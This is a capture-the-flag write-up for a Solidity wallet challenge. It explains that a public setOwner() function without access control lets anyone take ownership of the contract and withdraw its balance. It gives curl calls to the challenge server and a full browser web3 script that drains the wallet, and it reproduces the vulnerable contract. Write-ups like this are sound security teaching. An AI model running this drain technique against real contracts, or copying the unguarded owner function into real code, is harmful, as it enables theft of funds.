Introduction

Noticed that the `contract Wallet` has an insecure `function setOwner()` (line 20 in 3.1), which is public and not restricted by any rollback assertions. To steal the money, this is the starting point.

1 Steps

1.1 The node information

```
curl -X POST
↪ http://35.160.101.66:1337/get_instance?challenge_number=1
```

Results:

```
{"RPC endpoint": "http://35.160.101.66:8545/0b31482a-65dc-4843-
↪ ad7e-d26f87d8ff6f", "Private key":
↪ "0x96471700ab14482273f08b4c0c7e1b27828fea3e43adddb9fae531ff
↪ bc2d118b", "Setup contract":
↪ "0xE3A9Ec2d678C6C71dF4F979fD0d50CeAC95D1f35", "Get flag":
↪ "curl -X POST http://35.160.101.66:1337/get_flag?uuid=0b314
↪ 82a-65dc-4843-ad7e-d26f87d8ff6f"}
```

Check the endpoint:

```
function post() { curl -X POST -H "Content-Type:
↪ application/json" --data "$@" \
    http://35.160.101.66:8545/49d7f92b-c870-44e4-a479-596167f9c
    ↪ 329
    ↪ }
post '{"method":"eth_accounts","params":[],"jsonrpc":"2.0","id"
↪ :1}'
```

Results:

```
{"id":1,"jsonrpc":"2.0","result":["0xcbfdd099386550df702c839d229505049fc0f860"]}
```

1.2 Change wallet owner

Anyone can call the `function setOwner()` (20 in 3.1), which changes the owner to the caller. (see line 29 in 2)

```
wallet.methods.setOwner().send({from: beneficiary}).then(...)
```

1.3 Withdraw as usual

Once the **owner** is changed, the `function withdraw()` (16 in 3.1) guarded by the `modifier onlyOwner` (6 in 3.1) is *hacked*. One can immediately `withdraw` to any desired `address`. (see line 33 in 2)

```
wallet.methods.withdraw(beneficiary).send({from: beneficiary}).then(...);
```

1.4 Checking the flag

```
curl -X POST http://35.160.101.66:1337/get_flag?uuid=0b31482a-65dc-4843-ad7e-d26f87d8ff6f
```

Results:

```
FLAG{0h_YOu_ar3_t7e_0Wn3r_NoW}
```

2 Implementation

Note: browser JavaScript implementation.

```
<!doctype html>
<html>
    <head><script src="https://unpkg.com/web3@latest/dist/web3.min.js"></script></head>
    <body>
```

```
5         <script>
6          const endpoint = 'http://35.160.101.66:8545/0b31482a-6
   ↪ 5dc-4843-ad7e-d26f87d8ff6f';
7          const web3 = new Web3(new
   ↪ Web3.providers.HttpProvider(endpoint));
8          const abiSetup = [
9              {"inputs":[],"stateMutability":"payable","type":"c
   ↪ onstructor"},
10             {"inputs":[],"name":"isSolved",
11
   ↪ "outputs":[{"internalType":"bool","name":"","type":"bool"}],
12              "stateMutability":"view","type":"function"},
13             {"inputs":[],"name":"wallet",
14              "outputs":[{"internalType":"contract
   ↪ Wallet","name":"","type":"address"}],
15              "stateMutability":"view","type":"function"}
16         ];
17         const abiWallet = [
18             {"inputs":[],"stateMutability":"payable","type":"c
   ↪ onstructor"},
19             {"inputs":[],"name":"setOwner","outputs":[],
20              "stateMutability":"nonpayable","type":"function"},
21             {"inputs":[{"internalType":"address
   ↪ payable","name":"beneficiary","type":"address"}],
22              "name":"withdraw","outputs":[],"stateMutability":
   ↪ "nonpayable","type":"function"}
23         ];
24
25         const setup = new web3.eth.Contract(abiSetup,
   ↪ '0xE3A9Ec2d678C6C71dF4F979fD0d50CeAC95D1f35');
26
27         function steal(beneficiary, wallet) {
28             console.log('wallet:', wallet);
29             wallet.methods.setOwner().send({from:
   ↪ beneficiary}).then(() => {//←
30
   ↪ web3.eth.getBalance(wallet._address).then(function(wei) {
31                     console.log('wallet:', wallet._address,
   ↪ web3.utils.fromWei(wei));
32                 })
33
   ↪ wallet.methods.withdraw(beneficiary).send({from:
   ↪ beneficiary}).then((ret) => {//←
34
   ↪ web3.eth.getBalance(wallet._address).then(function(wei) {
```

```
35                          console.log('wallet:',
↪ wallet._address, web3.utils.fromWei(wei));
36                      })
37                      console.log('withdraw:', beneficiary, ret);
38
↪ setup.methods.isSolved().call().then((solved) => {
39                          console.log('solved:', solved);
40                      })
41                  })
42              })
43          }
44
45          function callwallet(beneficiary, tx) {
46              if (tx) console.log(tx);
47              setup.methods.wallet().call().then((wallet) => {
48                  console.log('wallet:', wallet);
49                  steal(beneficiary, new
↪ web3.eth.Contract(abiWallet, wallet));
50              }).catch((err) => {
51                  console.error('call setup.wallet:', err);
52              });
53          }
54
55          const setupNeedsBalance = false;
56          web3.eth.getAccounts().then(function(accounts) {
57
↪ web3.eth.getBalance(accounts[0]).then(function(wei1) {
58                  console.log('account:', accounts[0],
↪ web3.utils.fromWei(wei1));
59
↪ web3.eth.getBalance(setup._address).then(function(wei2) {
60                      console.log('setup:', setup._address,
↪ web3.utils.fromWei(wei2));
61                      if (setupNeedsBalance && wei2 <= 0) {
62
↪ web3.eth.sendTransaction({from:accounts[0],
↪ to:setup._address, value: wei1*.5})
63
↪ .then(callwallet.bind(accounts[0]));
64                      } else {
65                          //console.log('setup.wallet:',
↪ setup.methods.wallet().encodeABI());
66                          callwallet(accounts[0])
67                      }
68                  });
```

```
            });
        });
        </script>
    </body>
</html>
```

3 Code Copy

Note: code copy for line reference, referred or modified lines are highlighted.

3.1 Wallet.sol

```
pragma solidity ^0.8.0;

contract Wallet {
    address owner;

    modifier onlyOwner {//←
        require(msg.sender == owner);
        _;
    }

    constructor() payable {
        require(msg.value == 10 ether);
        owner = msg.sender;
    }

    function withdraw(address payable beneficiary) public
↪   onlyOwner {//←
        beneficiary.transfer(address(this).balance);
    }

    function setOwner() public {//←
        owner = msg.sender;
    }
}
```

3.2 Setup.sol

```sol
//Can you steal all the money from the super secure Wallet?

pragma solidity ^0.8.0;

import "./Wallet.sol";

contract Setup {
    Wallet public wallet;

    constructor() payable{
        wallet = (new Wallet){value : 10 ether}();
    }

    function isSolved() public view returns (bool) {
        return address(wallet).balance == 0;
    }
}
```